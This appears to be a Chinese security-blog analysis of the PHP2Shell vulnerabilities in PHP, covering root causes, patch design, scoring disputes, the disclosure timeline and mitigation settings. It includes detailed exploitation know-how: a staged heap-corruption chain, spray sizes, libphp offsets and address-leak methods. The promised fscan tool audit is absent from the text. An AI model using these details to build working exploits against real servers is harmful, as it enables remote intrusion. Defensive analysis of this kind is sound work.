PHP2Shell 不是核弹,也不是玩具:把利用链拆成两段就看懂了
网安之家-CyberHomestead
2026年10月23日 21:42
湖北
去阅读
PHP2Shell 复盘 与 fscan 工具链审计报告
CVE-2026-109618 / CVE-2026-109619 / CVE-2026-115560 + fscan / pscan 命令生成器与报告生成器源码审计
0. 结论速览
- 1. PHP2Shell 的\"核弹\"叙事和\"跳蛋\"叙事都不完全对。漏洞触发面确实通用,RCE 面确实不通用——这两件事被混成了一件,所以两边都能自圆其说。技术事实和公关叙事可以同时为真。
- 2. 难度不在漏洞,在利用链的物理约束。PHP2Shell 的稳定原语是悬空指针和堆块尺寸,不是字符串或对象图。这意味着每次成功利用都要重新标定:目标二进制的符号偏移、Zend MM 的堆布局常数、ASLR 泄漏结果、PHP 与 Apache 的初始化顺序。这是\"漏洞通用、PoC 不通用\"的根本原因。
- 3. 官方补丁提交本身就是最好的漏洞说明书。
3584a98一个提交改了 389 个文件、+10759 / −988 行,其中新增的tests/basic/oom_rfc1867_*系列测试把每一条内存放大路径都写成了可执行用例。这批用例比任何二次分析都精确。 - 4. 最硬的量化证据:同为 PHP 8.4.26,Debian 13 Trixie 的
zif_system偏移是0x465370,Debian 12 Bookworm 是0x45a3b0。堆喷参数841、406、+0x690d8是按 Bookworm 标定的,搬到 Trixie 上 5 次尝试全部stage1 HEAP_LEAK_FAILED。 - 5. CVSS 9.2 与 NVD 9.8 的分歧,恰好落在争议点上。PHP 官方 v4.0 给
AC:H(攻击复杂度高),NVD v3.1 给AC:L。两个分数描述同一组漏洞,区别就是\"打过去能不能直接拿到 shell\"这个问题本身。内部工单建议:主用 PHP 官方向量,风险说明里保留 9.8。 - 6. \"七成互联网\"是传播语言,不是攻防指标。W3Techs 2026-10 的口径是\"可识别服务器端语言的网站中 PHP 占 69.3%\"——分母是\"能识别出服务器端语言\"的网站,不是\"全部网站\",也不是\"全部暴露面\"。
- 7. 国内安全公众号讨论失焦的地方在框架层。ThinkPHP、Discuz! 这类 PHP 应用,漏洞不在框架代码里,框架跑在 PHP 上。升级框架 ≠ 升级 PHP。公开传播里大量厂商公告更爱转 CPython、GPT-5.5 和\"防御者之窗\",国内应用侧几乎没人提。节奏是别人带的,风险是自己扛的。
- 8. \"先升级,再谈规则\"是对的。WAF/IPS 规则是补偿控制——真实利用可能只用结构合法、外观像普通表单的 HTTP 请求;单靠一个 multipart 特征签名证明不了安全。
- 9. fscan 工具链的核心设计是一张参数数据库。整个套件只有两个纯静态 HTML,零依赖、零安装、离线可用,逻辑全部落在
PARAMS这一张表上,用fs/ps双字段解决 fscan ↔ pscan 的参数名差异。 - 10. 审计发现 7 处实现层缺陷 + 4 处设计规范未实现项,其中 3 处会实际影响使用(文件选择器丢路径、默认值被静默省略、HTML 转义未处理引号)。详见 §3.5。
第一部分 · PHP2Shell
1.1 为什么\"打过去就直接拿 shell\"很难
把利用链拆成两层,两层的通用性完全不同:
┌─ 触发层(通用)───────────────────────────────────────────────┐
│ 版本未修复 + upload_progress 开启 + memory_limit 有限 │
│ + post_max_size 够大 + 能对任意 .php 发 POST │
│ + 两次请求命中同一 worker │
│ → 现象:Fatal error: Allowed memory size of 8388608 bytes │
│ exhausted in Unknown on line 0 │
└────────────────────────────────────────────────────────────────┘
┌─ RCE 层(不通用)──────────────────────────────────────────────┐
│ 精确堆布局 + 精确 libphp.so 偏移 + 成功地址泄漏 + 特定 INI/ELF │
│ → 现象:system(\"id>/out/p1\") │
└────────────────────────────────────────────────────────────────┘
触发层的通用性来自\"输入可以控制内存\",RCE 层的门槛来自\"要在一个具体的内存布局上精确落刀\"。
PHP2Shell 不是\"把 payload 交给某个业务函数执行\"那种 RCE。普通应用层 RCE 的稳定原语是字符串、对象图、业务逻辑,跨版本换个 payload 常常还能用;PHP2Shell 的稳定原语是悬空指针和堆块尺寸——被释放对象的尺寸、下一次分配会不会重用同一个 bin、伪造对象字段的偏移、Zend MM 的堆布局、libphp.so 的符号偏移、ASLR 泄漏的结果、PHP 与 Apache 的初始化顺序,全都要提前知道。
实测条件表(实验室取值 → 不满足会怎样)
| 条件 | 实验室取值 | 不满足会怎样 |
|---|---|---|
| 精确镜像 | php:8.4.26-apache-bookworm |
堆喷尺寸全部失效 |
| SAPI | mod\_php + mpm_prefork |
FPM 得另写一条利用链 |
| Worker 数 | 1 | 无法稳定完成 A→B 同进程利用 |
display_errors |
On | Cookie 泄漏链失效 |
max_input_vars |
默认 1000 | 超限 warning 的触发时机变了 |
memory_limit |
8M | OOM 分配点漂移,对象落点改变 |
session.use_strict_mode |
Off | 带 \\x00 的 PHPSESSID 逼不出换 ID |
libphp.so 符号偏移 |
zif_system = 0x45a3b0 |
阶段 3 可能调错函数 |
| 堆布局常数 | HTDATA = +0x690d8 、filler = 841 |
重占失败,通常只是崩溃 |
| 用户态地址范围 | 本机映射约 0x79... |
泄漏解析器会判定未泄漏 |
| 命令长度 | 有效命令不超过 14 字节 | 得换别的长度控制方式 |
注意\"Worker 数 = 1\"这一条。它直接对应官方 advisory 里那句\"更多 worker 与无关流量会提高所需尝试次数,但不消除条件\"。多 worker 部署下,请求 A(producer)和请求 B(consumer)落到同一进程需要调度配合——这就是\"多 worker 摊薄单请求成功率\"的技术含义。
RCE 需要两类地址泄漏
| 泄漏类型 | 目标 | 取得方式 |
|---|---|---|
| Zend MM chunk 基址 | 约 2 MiB 对齐 | 构造超长 zend_string,让 php_url_encode(PS(id)) 越界读,从 Set-Cookie: PHPSESSID= 里捞 |
libphp.so 基址 |
ELF 装载基址 | 读 zval_ptr_dtor 的地址,减去目标构建的文件偏移 |
任一没拿到,伪造出来的 HashTable 就只是指向随机内存,表现出来是 worker 崩溃,不是命令执行。
三段式利用链与析构路径
请求 A:带 PHP_SESSION_UPLOAD_PROGRESS 字段的 multipart POST
+ 约 12 MiB 字段把内存撑爆 → OOM → longjmp → 状态脏
请求 B:841 个 48 字节字段 + 79 字节伪造块做堆重占
把伪造的 ZSTR_LEN 设成 0x1000
靠越界读从响应 Set-Cookie 泄漏 chunk 基址
阶段 3:15 字节 carrier 改写悬空 reference 的 val.value
再塞进携带伪造 HashTable 的字段
析构链(这条链就是 RCE 的落地方式):
php_session_track_init()
→ zval_ptr_dtor(PS(http_session_vars))
→ zend_reference_destroy(R0)
→ zend_array_destroy(fake HT)
→ zend_hash_destroy(fake HT)
→ pDestructor(&bucket->val) = zif_system
→ system(\"id>/out/p1\")
伪造的 HashTable 是依赖地址和堆布局的二进制结构,不是能抽象成\"固定 Raw HTTP 包\"的东西。直接把 stage3 的 body 复制到别的机器上,多数情况下只会得到一次纯崩溃。
你那句\"搭配堆栈泄露可能稳定在野利用\"
这个判断在技术上成立,而且它指向了真正的门槛所在。
门槛不是 ASLR 本身,而是缺少一个通用的、跨构建的内存泄露原语。当前状态下,攻击者要为每个目标构建做一次标定(符号偏移 + 堆常数),这是每目标成本,所以无法规模化。
但一旦出现通用泄露原语,标定就退化成一次性成本——标定一个代表性构建,把偏移表和堆常数固化进工具,之后换目标只需重新计算基址。VulnCheck 已经做到 x86-64 + ASLR 开启下的成功(10-22 01:30 ET 起商业提供),ARM64 上泄漏可用但 RCE 尚未功能化,且 ARM64 的 ASLR 可被相对容易地暴力枚举。
所以真正该盯的指标不是\"有没有 PoC\",而是这三个:
| 指标 | 意义 |
|---|---|
| 是否出现跨构建通用的内存泄露原语 | 决定标定成本是否从每目标变成一次性 |
| 是否有非白盒的偏移获取途径 | 决定标定是否还需要本地调试权限 |
| 泄漏原语是否出现在多个 PHP 版本上 | 决定可武器化的目标池大小 |
这三个指标里任意一个突破,\"打过去直接拿 shell\"的门槛就会塌。在那之前,补丁先打,规则同步上,这是唯一确定有效的动作。
1.2 漏洞原理(追到操作系统调用层)
CVE-2026-109618:OOM corruption
PHP 用 longjmp() 处理内存耗尽:
zend_mm_safe_error() # Zend 内存管理器分配失败入口
→ zend_error_noreturn() # 提升为不可恢复错误
→ zend_bailout() # = longjmp(),直接跳回请求顶层
longjmp() 的语义决定了它会跳过所有中间栈帧。正常异常退栈会逐层执行清理逻辑(析构函数、资源释放、全局指针复位),longjmp() 一个都不做。
请求启动阶段极其敏感:PHP 正在解析 multipart/form-data,$_POST、$_FILES、数组键、文件元数据、session upload progress 等结构正在逐步建立。此时某块 request memory 可能已经挂到内部结构中,但还没有完成初始化。
如果这时发生一次 OOM,即使失败的那次分配和这块半初始化内存没有直接关系,执行流也会被提前拽走:
multipart 解析
→ request-owned 结构已发布但未完全初始化
→ 任意一次分配触发 memory_limit
→ longjmp / bailout
→ 匹配的初始化或清理被跳过
→ request shutdown 继续运行
→ shutdown 把无效状态当有效数据读取或分支
→ 内存破坏 → 函数指针被劫持 → RCE
\"失败的那次分配不需要与那块非法内存相关\" 是 GHSA 原文的关键句。它意味着攻击者可以用一台独立的\"内存放大器\"在远处制造分配失败。
官方补丁把漏洞点拆成了三层
① Zend 内存管理层 → OOM 出口从 longjmp 改为 UnwindExit
② 请求解析层 → 关键分配改为 fallible 路径,允许上层停止解析并正常清理
③ 请求关闭层 → 清理 PG(http_globals)、last error、module activation
④ 早期初始化 → 新增 php_basic_early_rinit(),复位序列化/反序列化/URL scanner 状态
CVE-2026-109619:stale global state
worker 全局位置缓存了 request-owned memory 的地址。请求结束后这块内存被释放,worker 进程还活着,地址也留在原处。下一个请求只要在正常初始化覆盖它之前碰到这段状态,就出现 use-after-free。
官方把利用抽象成 producer / consumer 两段、五个必要条件:
请求 A(producer)
→ 把 request-owned session / error / extension state 发布到 worker 全局
→ fatal error、OOM、超时或 shutdown 后诊断打断匹配的 reset
→ request memory 被释放,worker 继续存活
→ 请求 B(consumer,同一 worker)
→ 在正常 request 初始化覆盖全局状态之前
→ 某段早期逻辑读取、释放、分支或调用悬空指针
五个条件缺一不可:①攻击者可达的 producer;②reset 被跳过或被回填;③worker 不退出且 request heap 被释放;④后续请求命中同一 worker;⑤正常初始化前存在 consumer。
为什么 mod\_php 最危险
| SAPI | 启动失败后的行为 | 应用代码前可利用? |
|---|---|---|
| Apache mod\_php | 无条件调用 request shutdown ,即使 startup 已失败 | ✅ 是,已在默认配置下验证完整 RCE |
| FrankenPHP | 类似 mod\_php,无条件调用 shutdown | 源码判定为很可能可被与应用无关的攻击利用 |
| PHP-FPM | 启动失败即退出子进程,从池中移除 | ❌ 该精确序列不成立(应用期变体路径另算) |
| LSAPI | 建模同 FPM | ❌ 应用相关利用可能,未验证 |
FPM 上\"完整利用未演示\"不是 FPM 安全,而是 FPM 的失败语义恰好切断了 mod\_php 那条链。
producer / consumer 的两类已确认 consumer
消费者 A:INI 诊断。warning、notice、deprecation 在初始化期间就能消费陈旧的 error state,不需要致命、不需要被显示、不需要被记录。因为全局状态在 PHP 决定\"是否报告\"之前就已被访问:
| 无效手段 | 原因 |
|---|---|
改 error_reporting |
全局状态在决策之前已被访问 |
使用 @ |
同上 |
display_errors=Off / log_errors=Off |
同上 |
可达性:mod\_php 的 .htaccess 与 Apache php_value/php_flag/php_admin_*目录级配置在 php_request_startup() 之前应用;FPM 只有在前端下发 PHP_VALUE/PHP_ADMIN_VALUE 且产生早期诊断时才有条件可达(FPM pool 值在 worker 启动时应用,.user.ini 在正常初始化之后应用,都不构成同样的早期 consumer);LSAPI 可早期应用环境 INI 值,属有条件候选;FrankenPHP 默认配置下未确认等价消费者,但不等于免疫。
消费者 B:session upload progress。默认开启,无需应用调用 session_start(),可在普通 session 初始化之前进入 session 和 decoder 状态。与 INI 诊断路径相互独立。
已确认的两个具体场景
- 1. PHP 8.5
fatal_error_backtraces:致命错误上报会把回溯状态(请求所有)存进全局;关闭阶段的复位逻辑总是被漏掉(always missed)。后续请求的任意一条诊断在初始化前碰到它。这是最强案例,是已确认 mod\_php RCE 的基础。 - 2. session upload progress 生命周期:上传在正常模块初始化之前就初始化了请求内的 session 和 decoder 状态;状态发布后发生 OOM 或其他致命错误 → 匹配的 reset 没执行 → 请求堆释放但持久化的 session/decoder 全局仍指向它 → 后续 upload progress 操作在普通初始化前访问这些全局并当作有效状态。
- • mod\_php:生产者和致命错误都可以发生在 multipart 启动阶段,业务代码完全不参与。
- • FPM:启动失败即终止 child,该序列不成立。已验证的 FPM 路径改为:启动成功后的应用执行期发布状态 → 遭遇致命错误 → 后续请求的 upload progress 作为早期消费者。适用于普通动态 FPM pool,但依赖\"存在合适的应用操作\"。
1.3 内存放大器清单(来自官方补丁测试用例)
这是本次复盘最硬的一块证据。3584a98 新增的 tests/basic/oom_rfc1867_* 系列把每一条放大路径都写成了可执行用例,并给出了精确的放大系数。
| 放大路径 | 官方测试用例 | 机制 | 量化 |
|---|---|---|---|
| part 内 header 数量无上限 | oom_rfc1867_header_count.phpt |
一个 part 里塞 15 万个 header | 修复后 EXPECT 为 post=1 files=0,不再触达上限 |
| Content-Disposition 行超长 | oom_rfc1867_long_header_line.phpt |
字段名/文件名各 1–3 MiB | 注释原话:getword\_conf() keeps a copy of each, so param and filename are retained at the same time on top of the header value they were parsed out of → 同一份数据被保留 3 份 |
| header 续行(continuation) | oom_rfc1867_header_continuation.phpt |
2500 行 × 4000 字节续行 | 续行拼接后的 header 值超长 |
| 数组上传名 | oom_rfc1867_array_upload_name.phpt |
字段名 + 数组下标 | 注释原话:abuf and array\_index are each a copy of param, retained together with param and the header value → 4 份 |
$_FILES[...][full_path] |
oom_rfc1867_files_registration_full_path.phpt |
超长 filename | 注释原话:the weight lands on the [full\_path] entry → 1.2 MiB 文件名在 8M 限制下直接触顶 |
| 文件控件数量 | oom_rfc1867_files.phpt |
3 万个 file part | $_FILES 表与数组本身撑爆 |
| 空 file 控件 | oom_rfc1867_files_registration.phpt |
空控件不计入 max_file_uploads 但仍建完整元数据数组 |
计数绕过 |
| 表单变量数量 | oom_rfc1867_post_vars.phpt |
7 万个表单变量 | |
| 单字段值超长 | oom_rfc1867_form_value.phpt |
6 MiB 字段值 | |
| mbstring 编码转换 | oom_rfc1867_mb_encoding.phpt |
mbstring.encoding_translation=1 + 非 UTF-8 输入 |
ISO-8859-8 的 0xE0 → א:1 字节进,7 字节出 ;UTF-32:每个输入字节 4 倍;CP1252→UTF-8 需 1216–1664 KB 的窗口才能让转换本身成为压垮点 |
| upload progress 会话重编码 | oom_rfc1867_upload_progress.phpt |
session.upload_progress.freq=1 + min_freq=0 |
注释原话:the whole session is re-encoded each time → 每个 chunk 重编码整个会话,乘法级放大 |
| 超大 upload progress 值 | 同上 | 1 MiB 的 PHP_SESSION_UPLOAD_PROGRESS 值 |
注释原话:the handler copies it into the progress key on MULTIPART\_EVENT\_FORMDATA, so the soft limit is reached inside the handler rather than in the parser → 软限制在 handler 内部触发,绕过 parser 的检查 |
这批用例的工程意义:官方不再只是\"堵住漏洞\",而是把每条内存放大路径都变成了带期望输出的回归测试。这意味着这些路径在后续版本里不会再悄悄回来。也意味着——即便打了补丁,这些仍是 DoS 攻击面,官方在修复说明里专门强调这些控制\"降低硬 OOM 与 DoS 风险,即便打了补丁也不替代升级\"。
补丁的双阈值机制
从测试用例名可以直接读出补丁后 OOM 的两个出口:
| 机制 | 行为 | 对应测试 |
|---|---|---|
| 软 OOM(soft limit) | 记 EG(delayed_oom),在下一个 VM 安全点执行 zend_throw_unwind_exit(),让清理逻辑正常跑完 |
Zend/tests/oom_soft_limit_exceeded.phpt 、oom_pending_at_shutdown.phpt |
| 硬 OOM(hard limit) | 新增 memory_hard_limit_percent,超过后 _exit() 直接退进程(测试期望里出现 Termsig=9,即 SIGKILL,退出码 137) |
Zend/tests/oom_hard_limit_exceeded.phpt 、oom_hard_limit_exceeded_during_comilation.phpt |
设计意图很明确:让所有可能的 OOM 退出点都落在\"状态一致\"的位置。软 OOM 保留 PHP 限制内存消耗的正常能力,硬 OOM 保证最坏情况下宁可进程死,也不做非受控跳转。
补丁还新增了 php_basic_early_rinit(),在请求早期重新初始化此前可能被前置流程使用的序列化、反序列化和 URL scanner 状态;ext/session/session.c 在 MULTIPART_EVENT_START 时就立刻复位 PS(id) 和 PS(http_session_vars),解析阶段反序列化只生成 __PHP_Incomplete_Class,不再继续执行不安全回调。
补丁规模
commit 3584a98bda0f2c0d367255b046798b0d3a221a19
Author: Arnaud Le Blanc Date: 2026-10-18 17:26:39 +0200
Subject: [PATCH] Avoid state corruption via bailout
- Replace bailout on OOM with UnwindExit
- Properly reset various globals that may be accessed during startup
Fix GHSA-w8hw-w9fx-j79w (CVE-2026-109618)
Fix GHSA-6wmf-4rv5-p3rp (CVE-2026-109619)
389 files changed, 10759 insertions(+), 988 deletions(-)
改动铺开这么大,是因为它同时碰到 Zend Memory Manager、VM 中断点、request lifecycle、multipart parser 和 session 全局状态——每个位置都牵着请求生命周期的另一端。修复作者之一 Arnaud Le Blanc 也是 GHSA 的 remediation developer。
同一提交里还捎带修了另外两个 GHSA:GHSA-f883-x959-3vr9(11 个测试用例)和 GHSA-2cv3-554h-jpmh(multipart / urlencoded 两个 fuzzer 用例)。这是一个很值得注意的细节:这次是 PHP 核心近两年最大的一次安全重构,不是两个洞的定点补丁。
1.4 CVE-2026-115560:10-23 新增的信息性公告
| 项 | 内容 |
|---|---|
| 状态 | 信息性公告 (informational advisory),PHP 官方建议在下次常规 bugfix 版本前设置 session.upload_progress.enabled=0 |
| 前置条件 | ① session.serialize_handler 配为 php_binary 或 php_serialize;② 应用在运行时用 ini_set() 切回 php 后才调 session_start();③ upload progress 仍开启 |
| 是否被 10-21 补丁修复 | 否 ,是独立问题 |
| 处置 | 已在 10-21 做过该设置的,保持不动,无需额外动作 |
| 验证 | php-fpm -i | grep upload_progress 或对应 SAPI 的 phpinfo() |
| PHP 项目处理方式 | 前置条件罕见,走常规发布周期,下次 release 随完整 advisory 一起出 |
这条公告的意义:它把\"session upload progress 这条路径到底有多脆弱\"这件事又往前推了一步——即使在 10-21 补丁之后,这条路径上仍然存在一个独立的未修复 RCE 向量。同时它也反向印证了为什么 session.upload_progress.enabled=0 这条缓解措施值得长期保留:官方自己都建议打完全部补丁后仍然关掉它。
值得单独指出:PHP 官方文档长期以来就建议在不需要上传进度条时关闭该功能,理由是未净化的值会让本地文件包含类问题更容易被利用。这次是把那条老建议升格成了安全建议。
1.5 对几个流行说法的判断
\"这是不是借真实漏洞事件做能力营销?\"
你的判断框架我认为是对的,这里把它再收紧一点。
可以同时成立的事实:漏洞是真的(官方 advisory、官方补丁、官方测试用例、官方复盘,四层证据),补丁是真的(4 个分支同时出版本,发行版与 LTS 厂商提前拿到),攻击也是真的(在野利用有 canary 观测、厂商侧 WAF 规则、威胁情报 IOC)。
公关叙事同时存在:OpenAI 把这件事包装成\"前沿模型发现内核级漏洞\"的样板案例,Wiz 用\"70% of the Internet\"做标题。这两件事和漏洞的真实可利用性没有因果关系。
判断它是不是纯炒作,看三件事(这是你原话的方法论,我原样保留并加上各自的观察方法):
| 检验项 | 怎么验 | 本次观察 |
|---|---|---|
| 方法论能否复现 | 找公开的复现路径,看别人能不能独立跑通 | 能 。官方 3584a98 的 tests/basic/oom_rfc1867_*.phpt 就是可执行复现路径,社区多方独立复现 |
| 修复是否可持续 | 看修复是定点补丁还是结构性重构,看后续分支是否跟进 | 是结构性重构 :389 文件、引入 UnwindExit 机制、补齐全局状态复位、跨请求测试(oom_request_parsing_next_request.phpt、oom_shutdown_function_next_request.phpt) |
| 小站点有没有真被覆盖 | 看 EOL 分支和发行版 backport 的实际落地 | 这是最弱的一环 。42% 的 PHP 主机在无官方补丁的 EOL 分支上,rpms.remirepo.net 发布当日没更新 |
结论:技术事实与公关叙事可以同时为真。这个洞值得修(技术含量在运行时内存管理,修复难度极高、影响面极大),但不值得吹成\"一键 RCE\"。CVSS 9.2 是严重性评分,\"七成互联网\"是传播语言,都不是实战成功率。
CVSS 9.2 vs 9.8:分歧恰好落在争议点上
| 来源 | 版本 | 向量 | 分数 |
|---|---|---|---|
| PHP 安全团队 | CVSS v4.0 | AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
9.2 |
| NVD | CVSS v3.1 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
9.8 |
两个分数描述同一组漏洞,区别就是 AC(攻击复杂度)。v4.0 给 AC:H 是因为完整 RCE 需要精确堆布局、地址泄漏和同 worker 调度;v3.1 的评分者给 AC:L 是按\"可触发未认证崩溃/UAF\"评的。
换句话说,这 0.6 分的分歧,恰好就是\"打过去能不能直接拿 shell\"这个问题本身在评分模型里的位置。 这个观察比任何评论都更能说明\"通用 PoC\"和\"定点 PoC\"的区别。
内部工单建议:主用 PHP 官方 v4.0 向量(口径可辩护),风险说明里保留 NVD 3.1 的 9.8,免得业务方看到 9.2 就当成普通高危。
\"七成互联网\"是什么口径
| 表述 | 实际口径 |
|---|---|
| \"70% 的网站使用 PHP\" | W3Techs 2026-10:所有可识别服务器端语言的网站中 PHP 占 69.3%。分母是\"能识别出服务器端语言\"的站点 |
| 对照 | Ruby 6.7%、JavaScript 5.9%、Java 5.4%、ASP.NET 4.4% |
| WordPress | 驱动全球 40.1% 的网站,占 CMS 市场 58.6%;但 2025-01 达到 43.6% 峰值后首次持续回落,2026-05 降至 41.9% |
这是部署面统计,不是暴露面统计,更不是可利用面统计。 从防守视角,VulnCheck 的口径更贴近排期:互联网暴露 PHP 主机 2,608,039 台,其中 99.998% 判定为易受攻击或可能易受攻击;约 42% 在无官方补丁的 EOL 分支上。
ThinkPHP / Discuz! 的覆盖问题
你说得对,这里是国内讨论最混乱的地方。
| 常见说法 | 问题 |
|---|---|
| \"升级 ThinkPHP 就安全了\" | 错 。漏洞在 PHP Core,不在框架代码里。框架只是运行在 PHP 上的应用层 |
| \"ThinkPHP 也受影响,需要升级框架\" | 半对半错 。框架版本升级不改变 PHP 运行时版本;PHP 不升级,框架升级无意义 |
| \"PHP2Shell 是 PHP 的问题,跟国内应用无关\" | 错 。国内 ThinkPHP、Discuz!、ThinkCMF 等应用的部署量极大,跑在未修复 PHP 上就在同一条链的覆盖范围内 |
正确的判断:漏洞边界画在 PHP 运行时版本,不在任何应用层。ThinkPHP、Discuz!、WordPress、MediaWiki、phpBB、Magento、Laravel、Drupal、Roundcube、phpMyAdmin、Nextcloud 在这条链上是平权的——它们的差异只在于部署量和暴露面,不在于是否受影响。
官方 advisory 本身也这么说:\"组织应识别运行任何版本 PHP 的系统并应用安全更新,优先处置互联网暴露系统;还应检查 PHP 是否安装在 Web 服务器上,包括第三方应用或组件中使用 PHP 的地方,即使主要网站不使用 PHP。\"
\"先升级,再谈规则\"
这个顺序是对的,理由有三层:
- 1. 规则是补偿控制,且是可绕过的。真实利用可能只使用结构合法、外观像普通表单的 HTTP 请求。单靠一个 multipart 特征签名证明不了安全。
- 2. 规则有时间窗,补丁没有。规则发布到覆盖全网需要时间,补丁推下去就生效。
- 3. 打完补丁之后规则依然有价值——因为内存放大路径(§1.3)在补丁后仍是 DoS 面。
但顺序对不等于规则可以不做。 正确姿势是:补丁在 T+0,规则在 T+0 并行下发,检测规则在 T+0 开启并留存。
1.6 前世今生:PHP 与 OpenAI 叙事
技术侧时间线
| 时间 | 事件 |
|---|---|
| 1994–1995 | Lerdorf 发布 PHP Tools / PHP/FI 1.0–2.0,加入 MySQL 支持 |
| 1997–1998 | Suraski、Gutmans 重写解析器,PHP 3 发布,名称改为递归缩写 |
| 2000 | PHP 4 + Zend 引擎,进入企业级视野 |
| 2003–2004 | WordPress 发布;PHP 5 支持完整 OOP |
| 2015 | PHP 7(Zend Engine 3),性能翻倍,挡住 Node.js 冲击 |
| 2020 | PHP 8.0 引入 JIT |
| 2021-11 | PHP 基金会成立(JetBrains + Automattic + Laravel + Acquia + Zend + Craft CMS),导火索是 Nikita Popov 转投 LLVM |
| 2024 | PHP 多年来首次外部安全审计(Sovereign Tech Agency 出资、OSTIF 组织、Quarkslab 执行)。修复 Quarkslab 报告的一个问题时,一名基金会外包的核心开发者发现了 OOM 问题的最初迹象。当年推演过潜在利用但未找到具体向量 |
| 2026-05 | 成立 Ecosystem Security Team;Volker Dusch 出任 AI Security Engineer in Residence |
| 2026-07 | Alexandre Daubois 加入(分诊);Trail of Bits 开始审计;Calif 开始审计;PHP 进入 OpenAI \"Patch the Planet\" |
| 2026-08-11 | Calif 研究员 Ryan A 报告了与 2024 年 OOM 问题同根因的无条件 RCE ;OpenAI 同日独立报告同一根因 |
| 2026-08-19→08-24 | Wiz 证明可未登录攻破 Drupal(8/20)与 WordPress(8/21);OpenAI 报告更多向量(9/18) |
| 2026-08-11 起 | 修复成为基金会全部安全团队最高优先级 |
| 2026-10-20 15:00 UTC | 两个 CVE 编号开始流传(错误的发布时间 + 错误的 CVSS 10.0,实际 9.2),无技术细节泄露 |
| 2026-10-20 19:30 UTC | 提前发布预公告,发布日从 10-22 提前至 10-21 |
| 2026-10-20 ~20:00 | Calif 误发 PoC 演示视频 ,删档后仍扩散。官方评价:该视频\"加速了各种 PoC 的开发\",进而推高 10-21 的扩散量 |
| 2026-10-20 23:00 | 向关键基础设施提供的缓解建议可能也已泄露 |
| 2026-10-21 07:41 UTC | Chainguard 单方面打破 embargo ,提前发布含修复的构建镜像。官方评价:任何攻击者此时可以二进制形式研究修复,而其他 PHP 用户还在等待 |
| 2026-10-21 13:34 | 两份 GHSA 公布 |
| 2026-10-21 14:00 | 四个修复版本发布 |
| 2026-10-21 | CNVD 收录 CNVD-2026-41674 / 41675(\"高危\");腾讯云发布风险通告 |
| 2026-10-22 | CNCERT 发布风险提示 CNTA-2026-0006 |
| 2026-10-23 | PHP 发布 CVE-2026-115560 信息性公告 |
两年为什么没修
官方复盘写得很坦率,值得原样引用其结论:修复工作反复停滞是\"结构性失败\"。
| 障碍 | 官方说明 |
|---|---|
| 方案都有代价 | PHP 安全团队开发了多个竞争方案,每个都带代价——破坏向后兼容、引入新的 DoS 可能、或要求大量第三方扩展配合改动(\"看似无法协调\") |
| 决策机制僵化 | 共识式决策流程 + 缺乏资源,导致\"修复工作停滞并反复重启数月\" |
| 资源不足 | \"能深度掌握整个 PHP 代码库的核心开发者太少,且都身兼多职\" |
| 缺少 RCE 证据 | 2024 年推演过潜在利用但无具体向量,且被影响更明确的问题盖过 |
从 8-11 的无条件 RCE 到 10-21 的补丁,63 天。 这 63 天里做的不是\"写一个补丁\",而是给 OOM 退出机制重新设计了一套语义(bailout → UnwindExit + 双阈值),并重置了一整类全局状态。这类问题的瓶颈从来不是发现能力,是修复决策的组织能力。
披露过程的三条教训
- 1. PoC 视频误发是扩散加速器。泄露的技术细节有限,但生态效应巨大——数百个 PoC 仓库一天内出现,\"优化竞赛\"随即启动。
- 2. 发行方提前发镜像破坏协同披露的默认假设。Chainguard 07:41 发布 vs 官方 14:00,中间 6 小时以上是\"修复已被逆向\"的窗口。协同披露的时间表本质上不能假定所有参与方都守时。
- 3. AI 辅助研究把\"从崩溃到 RCE\"的距离压缩到了数周。三支独立团队(Wiz、Calif、OpenAI)收敛到同一根因。Wiz 侧一名研究员用一周完成了传统上需要数月的工作量(官方明确说明该对比并非标准化基准)。同时 PHP 团队自 7-1 起发布 15 个 CVE,处理了 100+ 份被判无效/重复/不可复现的报告——AI 同时放大了发现侧与噪音侧。
生态侧的变化
| 维度 | 数据 | 来源 |
|---|---|---|
| PHP 占可识别服务器端语言的站点 | 69.3% | W3Techs 2026-10 |
| PHP 在 TIOBE 排名 | 1.26%,第 12 位 | TIOBE 2026-10 |
| WordPress 站点份额 | 40.1%(2026-05 降至 41.9%,历史首次持续下滑) | W3Techs |
| 机器人流量占比 | 51%,首次超过人类流量 | Imperva 2025 年度报告 |
| Stack Overflow 月提问量 | 从 2014 峰值 20 万+ 跌至 2025-12 的 3,862 条 | — |
| 零点击搜索占比 | 从 2024-05 的 56% 升至 2025-05 的 69%;触发 AI Overviews 时 80–83% | Similarweb |
| AI 生成 PR 的安全漏洞 | 比手写代码多 15%–18% | Opsera(25 万开发者调研) |
PHP 的\"存量坚挺、增量退潮\"和这次漏洞是一回事的两面:因为存量太大(69.3%),内核级缺陷的爆炸半径就极大;因为增量在退潮,把 PHP 迁移掉的速度很慢,这个巨大暴露面会持续很多年。
1.7 处置与检测
修复
| 分支 | 修复版本 | 状态 |
|---|---|---|
| 8.5 | 8.5.12 | 受支持 |
| 8.4 | 8.4.27 | 受支持 |
| 8.3 | 8.3.36 | 受支持 |
| 8.2 | 8.2.35 | 受支持,2026-12-31 EOL |
| 8.1 / 8.0 / 7.4 | 无官方发行版 | EOL,仅源码 backport(PHP-7.4-CVE-2026-109618-109619 等分支) |
| ≤7.3 / 5.x | 无 | 永久暴露 |
发行版 backport 不改版本号,所以 php -v 看到 8.3.35 不能判安全,要查包 changelog 里有没有那两个 GHSA 编号。
升级后必须重启所有 worker。FPM master 不会因为替换磁盘上的 .so 自动加载新代码。多阶段构建镜像要确认最终镜像里的 runtime 被更新,builder 更新不算。
缓解措施(替代不了补丁)
; ── 针对 CVE-2026-109618 ──
memory_limit = -1 ; 必须在 FPM pool 用 php_admin_value 或 Apache 侧设置
; 并检查没有任何 pool / 目录级 / .user.ini / 框架启动脚本把它改回有限值
post_max_size = 8M ; 无上传需求时;有上传需求时 32M
upload_max_filesize = 8M ; 必须小于 post_max_size
max_input_nesting_level = 16 ; 收紧嵌套深度
; 前端/网关侧独立强制:解码后请求体大小、输入变量数、multipart part 数、
; 单 part header 数、单 header 长度、嵌套深度
; ⚠ 这些限制必须覆盖没有可用 Content-Length 的请求(chunked)
; ── 针对 CVE-2026-109619 ──
session.upload_progress.enabled = 0 ; 启动级设置;不要用 ini_set() 或 .user.ini
fatal_error_backtraces = 0 ; PHP 8.5+,覆盖已确认的 fatal backtrace producer
